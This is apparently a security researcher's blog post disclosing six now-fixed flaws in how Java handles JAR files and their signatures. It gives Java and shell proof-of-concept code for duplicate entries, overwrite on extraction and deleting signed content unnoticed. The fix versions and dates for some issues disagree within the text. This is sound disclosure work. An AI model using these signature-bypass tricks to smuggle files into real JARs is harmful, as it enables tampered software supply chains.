Breaking the JARs: Security Issues in Java ARchives

Tags:

“This building is protected by a very secure system … But like all systems it has a weakness. The system is based on the rules of a building. One system built on another.” (Keymaker – “The Matrix Reloaded”)

Summary

Six issues related to how Java handles JAR files, ZIP files and digital signatures in JAR files were reported to and fixed by OpenJDK / Oracle. These could be used to hide malicious files inside JARs, bypass digital signatures and overwrite existing content. One of the issues was assigned as CVE (CVE-2024-20932) and the rest were fixed without CVE assignments.

Technical Details

The Java programming language supports the use of digital signatures to validate the authenticity of Java class files packaged into JAR files (JAR = Java ARchive). These are based on the ZIP file format with additional of a special digital signature schema which uses a set of special manifest files included in the ZIP file itself containing digital signatures applying to the rest of the files in the archive (unlike other signature schemes such as PGP or sigstore). This can lead to security issues related to how the manifest files or other files in the archive are stored or processed.

Java also includes a number of classes and CLI utilities dealing with JAR files – all supporting digital signature validation:

JarFile – uses the central directory

JarInputStream – reads ZIP files in streaming mode, ignoring the central directory

jar (cli) – used to create, update and extract JARs

jarsigner (cli) – used to sign and verify digital signatures for JAR files

A key point to keep in mind regarding ZIP is that entries in the ZIP files appear through out the file (local) but also appear in an index located in the end of the file (central directory). Normal processing is done by reading the central directory then referencing entries from there but it is possible to process ZIP files in “streaming” mode by ignoring the central directory and reading the entries directly. This can introduce an number of security issues by exploiting the differences between the two approaches. A good overview of this, the ZIP format and various ZIP attacks can be found here: https://www.youtube.com/watch?v=8Uue8tARdNs.

Issue #1 – Duplicate File Handling in jar CLI

The Java jar cli did not correctly handle a case where two entries with the same file name would appear in the same JAR file. This could be exploited to hide a malicious file as a second duplicate entry and used to overwrite a legit file already in the JAR or bypass signature validation. This issue was fixed by adding detection for this edge case on May 28th, 2025 and the fix was shipped in the following JDK versions: 25. See release notes:

“The jar –validate command has been enhanced to identify and generate a warning message for: … Duplicate entry names”

The following Java code can be used for generate a proof of concept JAR:

import java.io.*;
import java.util.zip.*;
import java.lang.reflect.*;
public class CreateDuplicateJar {
public static void main(String[] args) throws Exception {
FileOutputStream fos = new FileOutputStream(“duplicate.jar”);
ZipOutputStream zos = new ZipOutputStream(fos);
// Clear the names HashSet to allow duplicates
Field namesField = ZipOutputStream.class.getDeclaredField(“names”);
namesField.setAccessible(true);
zos.putNextEntry(new ZipEntry(“Test.class”));
zos.write(“first”.getBytes());
zos.closeEntry();
((java.util.HashSet)namesField.get(zos)).clear();
zos.putNextEntry(new ZipEntry(“Test.class”));
zos.write(“second”.getBytes());
zos.closeEntry();
zos.close();
}
}

You can test this on a fixed version of the JDK (25) by running the validate command:

jar –validate duplicate.jar

Issue #2 – Overwriting existing files via jar CLI (-x)

The Java jar cli includes an extract (-x) option which extracts files to the file system. The tool didn’t check if the files being extracted are overwriting a file already present. This can be exploited to overwrite security sensitive files without user’s knowledge. The issue was fixed by adding a new option (–keep-old-files / -k) which will prevent overwriting of files. This was fixed on October 23th, 2024 and shipped in the following JDK versions: 21.0.6, 17.0.14, 11.0.27 and 8u452. The following was added to the release notes:

“The jar tool’s extract operation has been enhanced to allow the –keep-old-files and the -k options to be used in preventing the overwriting of existing files. … Either of these commands will extract the contents of foo.jar. If an entry with the same name already exists in the target directory, then the existing file will not be overwritten.”

The following shell script can be used as proof of concept:

#!/bin/bash
# Setup
echo “original” > file.txt
jar cf test.jar file.txt
rm file.txt
# Test 1: Normal extraction (overwrites)
echo “=== Test 1: Normal extraction ===”
echo “existing” > file.txt
jar xvf test.jar
echo “Content: $(cat file.txt)”
rm file.txt
# Test 2: Keep old files (skips)
echo -e “n=== Test 2: Keep old files (-k) ===”
echo “existing” > file.txt
jar xkvf test.jar
echo “Content: $(cat file.txt)”
# Cleanup
rm file.txt test.jar

Issue #3 – Duplicate directory entries (JDK17 only) – CVE-2024-20932

The ZIP classes in Java failed to correctly handle an edge case where two entries exist in a ZIP file, one as a file and another that’s a directory. Can be exploited to bypass certain restrictions or hide malicious data. This was fixed on January 9th, 2024 and shipped in the following JDK versions: 17.0.19. CVE-2024-20932 was assigned to this issue:

“It was discovered that the Libraries component in OpenJDK failed to properly handle ZIP archives that contain a file and directory entry with the same name within the ZIP file. This could lead to integrity issues when extracting data from such archives. An untrusted Java application or applet could use this flaw to bypass Java sandbox restrictions.”

The following Java code is a proof of concept for this issue:

import java.io.*;
import java.util.zip.*;
public class ZipDuplicateEntryPOC {
public static void main(String[] args) throws Exception {
String zipName = “poc.zip”;
// Create ZIP with both “test” file and “test/” directory
try (ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipName))) {
// Add file entry “test”
ZipEntry fileEntry = new ZipEntry(“test”);
zos.putNextEntry(fileEntry);
zos.write(“FILE_CONTENT”.getBytes());
zos.closeEntry();
// Add directory entry “test/”
ZipEntry dirEntry = new ZipEntry(“test/”);
zos.putNextEntry(dirEntry);
zos.closeEntry();
}
// Test getEntry behavior
try (ZipFile zf = new ZipFile(zipName)) {
ZipEntry entry = zf.getEntry(“test”);
System.out.println(“Entry name: ” + entry.getName());
System.out.println(“Is directory: ” + entry.isDirectory());
System.out.println(“Size: ” + entry.getSize());
if (entry.isDirectory()) {
System.out.println(“n[VULNERABLE] Got directory entry instead of file!”);
} else {
System.out.println(“n[PATCHED] Got file entry correctly”);
}
}
}
}

Issue #4 – Incorrect handling of duplicate manifest files (JarInputStream)

The JarInputStream incorrectly handled cases where the manifest would appear twice in the same JAR file in regards to digital signatures. This was fixed on April 16th, 2025 and shipped in the following JDK versions: 21.0.7, 17.0.15, 11.0.27 and 8u452. See release notes:

“The JarInputStream class now treats a signed JAR as unsigned if it detects a second manifest within the first two entries in the JAR file. A warning message “WARNING: Multiple MANIFEST.MF found. Treat JAR file as unsigned.” is logged if the system property, -Djava.security.debug=jar, is set.”

No POC code is available

Issue #5 – Digital signature bypass via local/central header confusion

The various CLIs and classes handling JAR files read file entries either as streaming (local headers) or central directory mode. It is possible for an attacker to exploit the differences between the various implementations by adding file entries to the local headers which will pass digital signature validation based on central directory and then be extract when local headers / streaming mode is used. This issue was fixed by adding detection for this edge case on May 28th, 2025 and the fix was shipped in the following JDK versions: 25.b26. See release notes:

“The jar –validate command has been enhanced to identify and generate a warning message for … Inconsistencies in the ordering of entries between the LOC and CEN headers”

No POC code is available

Issue #6 – No detection of signed content being removed (jarsigner)

The Java jarsigner cli failed to detect when a digitally signed JAR file had some file entries removed. This can be exploited to impact security by removing service provider classes or security policy files. The issue was fixed by adding detection of deleted content that was digitally signed and the fix was shipped in the following JDK versions: 21.0.8, 17.0.16, 11.0.28 and 8u462. This was fixed on October 2nd, 2024 – see release notes:

“If an entry is removed from a signed JAR file, there is no mechanism to detect that it has been removed using the JarFile API, since the getJarEntry method returns null as if the entry had never existed. With this change, the jarsigner -verify command analyzes the signature files and if some sections do not have matching file entries, it prints out the following warning: “This JAR contains signed entries for files that do not exist”. Users can further find out the names of these entries by adding the -verbose option to the command.”

The following shell script can be used as a proof of concept:

#!/bin/bash
set -e
echo “[*] Creating test files…”
echo “sensitive data” > secret.txt
echo “normal data” > normal.txt
echo “[*] Creating JAR with both files…”
jar cf app.jar secret.txt normal.txt
echo “[*] Generating signing key…”
keytool -genkeypair -alias testkey -keyalg RSA -keysize 2048
-keystore keystore.jks -storepass changeit -keypass changeit
-dname “CN=Test” -validity 365 2>/dev/null
echo “[*] Signing JAR…”
jarsigner -keystore keystore.jks -storepass changeit -keypass changeit
app.jar testkey 2>/dev/null
echo “[*] Verifying signed JAR (should pass)…”
jarsigner -verify app.jar
echo -e “n[!] ATTACK: Removing secret.txt from signed JAR…”
zip -d app.jar secret.txt
echo -e “n[*] Verifying JAR after removal…”
jarsigner -verify app.jar
echo -e “n[*] Checking JAR contents…”
jar tf app.jar
echo -e “n[!] Result: JAR still appears signed but secret.txt is gone!”
echo “[!] The signature for secret.txt remains in META-INF/*.SF”
echo “[!] This could hide evidence of file removal or tampering”
# Cleanup
rm -f secret.txt normal.txt app.jar keystore.jks

Disclosure Information and References

With exception of issue # 3 above (CVE-2024-20932), all remaining issues were not issued a CVE and some received an in-depth security fix acknowledgement by Oracle / OpenJDK.

Issue #1 – Duplicate File Handling in jar CLI:

Bug: https://bugs.openjdk.org/browse/JDK-8345431

Git commit: https://github.com/openjdk/jdk/commit/cd052c72cdb62186e66c1d2ecf9216f3df61b242

Fixed versions: 25

Issue #2 – Overwriting existing files via jar CLI (-x):

Bug: https://bugs.openjdk.org/browse/JDK-8335912

Git commit: https://github.com/openjdk/jdk/commit/158b93d19a518d2b9d3d185e2d4c4dbff9c82aab

Fixed versions: 21.0.6, 17.0.14, 11.0.27 and 8u452

Issue #3 – Duplicate directory entries (JDK17 only):

CVE: https://nvd.nist.gov/vuln/detail/cve-2024-20932

Git commit: https://github.com/openjdk/jdk17u/commit/f6f32bf256e34447f54be823fdfb2e64e235e404

Redhat Bugzilla entry: https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2024-20932

Issue #4 – Incorrect handling of duplicate manifest files (JarInputStream):

Bug: JDK-8337494

Git commit: https://github.com/openjdk/jdk/commit/ef38a04b448f97036c516ba87cb86afcc7559d1f

Fixed versions: 21.0.7, 17.0.15, 11.0.27 and 8u452

Issue #5 – verification bypass via local/central header confusion:

Bug: https://bugs.openjdk.org/browse/JDK-8345431

Git commit: https://github.com/openjdk/jdk/commit/cd052c72cdb62186e66c1d2ecf9216f3df61b242

Fixed versions: 25

Issue #6 – No detection of signed content being removed (jarsigner):

Bug: https://bugs.openjdk.org/browse/JDK-8309841

Git commit: https://github.com/openjdk/jdk/commit/bdfb41f977258831e4b0ceaef5d016d095ab6e7f

Fixed versions: 25.b26

Acknowledgements

The author would like to thank everyone who was involved in the disclosure process for these issues – you know who you are.

Categories

No Responses

Leave a Reply

Your email address will not be published. Required fields are marked *